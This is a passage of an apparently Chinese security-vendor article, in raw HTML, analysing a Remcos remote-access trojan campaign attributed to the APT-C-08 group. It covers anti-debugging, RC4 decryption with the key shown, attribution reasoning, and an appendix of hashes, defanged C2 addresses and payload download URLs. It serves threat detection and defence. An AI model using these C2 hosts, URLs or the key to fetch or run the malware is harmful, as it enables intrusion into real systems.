UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">imagingdevices.exe</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件大小</span></span></p></td><td data-colwidth="354"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;" data-mpa-action-id="mo19y1vp1jk3"><span leaf="">9.33 MB (9783680 bytes)</span></span></span></td></tr><tr><td data-colwidth="127"><p><span style="font-size: 16px;"><span leaf="">文件类型</span></span></p></td><td data-colwidth="354"><p data-mpa-action-id="mo2jaw3a1ml6"><span style="font-family: &#34;mp-quote&#34;, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span style="font-size: 16px;"><span leaf="">exe</span></span></span></p></td></tr></tbody></table></p></div></div><p style="text-indent: 2em;"><span leaf="">1）样本检测是否被调试，检测互斥体。</span></p></div></div></div><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.34532374100719426" data-w="695" style="width: 553.74px;height: 191.2px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8b2be761&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJmg92pmpPGBDlnIUsO9FL8rVopia72AicXkht4USJrkSK3s97LZDHYfaDzBOclw4K7wVE5qrU2iaf3xS7z39SNZaTXxgVC4tRq3w%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou6a4" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">样本使用rc4进行解密，密钥：</span></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgoun7j">wJhZdeKG30FY70E315U2qMf0h3CvBD7N</span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.3054989816700611" data-w="491" style="width: 490.95px;height: 149.98px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0155531f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXI9HeWf4DHENZLT3Qtrjux9eiboibhSBuvJnOGxrDsRXjr0icWg2jctdc5u5531edickJFvmyL9PArFSl3cjeWfJFCB1JTbr8LwWpk%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou701" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">3）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">解密后数据为PE文件，其中有Remcos经典字符串。</span></span></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.25263157894736843" data-w="475" style="width: 474.95px;height: 119.99px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7ffe5087&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXKJ9dicsFEicFfhiaIEN0Ab3HrSNostwXicEvhVbOvYx6czxMBcMH4ZMoRqLdUd3A9rBx2GJBBTeggElvVtBSF45OZ3aEB4iaZctWVA%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span mpa-font-style="mo19dgou17p3" style="font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" data-remoteid="" data-asynid="" src="http://mmbiz.qpic.cn/mmbiz_png/Emmib7pWXrXJclyK2qY5iajZL69cq5oiaI1T9G7BBfiaXZSdzpT2Suyvzdmzn7yOyYqO0udL5QodpFEmtibtezAiaFJavAODgrjYRBAOlloR2QfpI/0?wx_fmt=png" data-src="" align="" alt="" border="" class="rich_pages wxw-img" data-ratio="0.13978494623655913" data-s="" data-type="" data-w="465" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="">4）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);letter-spacing: 0.034em;font-style: normal;font-weight: normal;">Remcos的C2配置信息89.31.121[.]220:443</span></span><o:page></o:page></p><p style="text-indent: 0px;margin-top: 16px;margin-bottom: 16px;line-height: 1.6em;text-align: center;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.13978494623655913" data-w="465" style="width: 464.95px;height: 64.99px;" src="https://wechat2rss.xlab.app/img-proxy/?k=328c4a04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJclyK2qY5iajZL69cq5oiaI1T9G7BBfiaXZSdzpT2Suyvzdmzn7yOyYqO0udL5QodpFEmtibtezAiaFJavAODgrjYRBAOlloR2QfpI%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><h1 style="margin: 16px 0px;text-indent: 0px;line-height: 1.6em;"><span mpa-font-style="mo19dgou13kl"><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;background-color: rgb(190, 25, 31);color: rgb(255, 255, 255);font-weight: bold;font-size: 18px;"> 二、</span><span leaf="" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;background-color: rgb(190, 25, 31);color: rgb(255, 255, 255);font-weight: bold;font-size: 18px;">归属研判 </span></span></h1><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou7zl">蔓灵花使用NUITKA打包的python样本攻击，最早出现在25年年底，主要针对于巴基斯坦、孟加拉等周边国家。近期监测发现，该类样本的攻击目标范围出现新的变化。</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou176x">1.对本次攻击的relish_for_ketty.dll，与巴基斯坦的历史样本进行对比，二者代码执行流程非常一致，均使用了python312版本，且加载使用的python模块也完全相同。</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1v8o">2.本次攻击使用的Remcos远控组件，也曾出现在过往针对巴基斯坦地区的攻击活动中。</span></p><p style="margin: 16px 0px;text-indent: 2em;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19dgou1v8o">综合上述线索可判断，本次攻击归属于APT-C-08（蔓灵花）组织。</span></p><div data-mpa-template="t" mpa-from-tpl="t"><div data-role="outer" label="Powered by 135editor.com" mpa-from-tpl="t"><div data-role="outer" mpa-from-tpl="t"><div data-tools="135编辑器" data-id="101849" mpa-from-tpl="t"><div style="margin-top: 10px;margin-bottom: 10px;" mpa-from-tpl="t"><div style="margin-bottom: -15px;display: flex;transform: rotate(0deg);" mpa-from-tpl="t"><p data-brushtype="text" style="padding-right: 1em;padding-left: 1em;color: rgb(242, 242, 242);line-height: 32px;height: 32px;font-size: 16px;background-color: rgb(190, 25, 31);letter-spacing: 1.5px;" mpa-from-tpl="t"><strong mpa-from-tpl="t"><span style="font-size: 17px;"><span leaf="" mpa-font-style="mojg56101t2v" style="font-size: 18px;" data-mpa-action-id="mojg561q1u8m" data-pm-slice="0 0 []">总结</span></span></strong></p></div><div style="margin-left: 6px;padding: 30px 15px 10px;background-color: rgb(242, 242, 242);flex-shrink: 0;" mpa-from-tpl="t"><div data-autoskip="1" style="line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;" mpa-from-tpl="t"><div style="text-indent: 2em;" mpa-from-tpl="t"><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mpa-template&#34;:&#34;t&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;101849&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 10px;margin-bottom: 10px;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-left: 6px;padding: 30px 15px 10px;background-color: rgb(242, 242, 242);flex-shrink: 0;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">APT-C-08</span><span leaf="">（</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-mpa-template&#34;:&#34;t&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 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0;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-indent: 2em;&#34;,&#34;mpa-from-tpl&#34;:&#34;t&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">蔓灵花）组织是一个拥有南亚地区国家民族背景的APT组织，近年来持续对南亚地区及周边国家实施网络攻击活动，攻击目标覆盖政府、军工、高校和驻外机构等企事业单位组织，是当前具有较高威胁度的境外APT组织之一。</span></p><p style="margin-top: 8px;margin-bottom: 8px;"><span leaf="">在这里提醒用户加强安全意识，切勿执行未知样本或点击来历不明的链接等操作。这些行为可能导致系统在没有任何防范的情况下被攻陷，从而导致机密文件和重要情报的泄漏。</span></p></div></div></div></div></div></div></div></div><div data-mpa-template="t" mpa-data-temp-power-by="yiban.io" mpa-from-tpl="t" data-mpa-action-id="mo19io1yi3x"><div data-mpa-template="t" mpa-from-tpl="t"><div data-role="outer" label="edit by 135editor" mpa-from-tpl="t"><div data-role="title" data-tools="135编辑器" data-id="85638" mpa-from-tpl="t"><div style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);font-size: 1em;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);" mpa-from-tpl="t"><p style="margin-top: -1.2em;text-align: center;border: none;line-height: 1.4;" mpa-from-tpl="t"><strong mpa-from-tpl="t"><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);padding: 8px 23px;text-decoration: inherit;" mpa-is-content="t"><span leaf="">附录IOC</span></span></strong></p></div></div></div></div></div><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgv8u"><span textstyle="" style="font-weight: bold;">MD5：</span></span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg23p6">397591dd098f9240684f9a999e38eb12  </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg1wm8">23f5e51bf6d540553aa88c48480450a8  </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgb55">d286d439393bde76b734bd3406628d47 </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapglwo">ab17051365bb75c2fd4637b0d560a312  </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgp4g">e7c535d2ef05405870923204dd5829d6  </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg2x1">b33c8f6a2bebe8d6a41bff851a45f35f  </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgi4s">13209c997f62c6c6934bc3f20a6adbd8  </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg14gd">017eb0e90e70a48e3b57f9c315e280f5  </span></p><p style="margin: 16px 0px 8px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg1o3d"><span textstyle="" style="font-weight: bold;">C2&amp;URL:</span></span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapg231n">89.46.236[.]152:443</span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgnvf"><a href="https://domainnamevalidator[.]com/uploads/taskhost" target="_blank">https://domainnamevalidator[.]com/uploads/taskhost</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgb6u">213.111.185[.]78:443 </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" mpa-font-style="mo19kapgd9t"><a href="https://domainregistationcheck[.]com/uploads/b1" target="_blank">https://domainregistationcheck[.]com/uploads/b1</a> </span></p><p style="margin: 8px 0px;text-indent: 0px;line-height: 1.6em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino 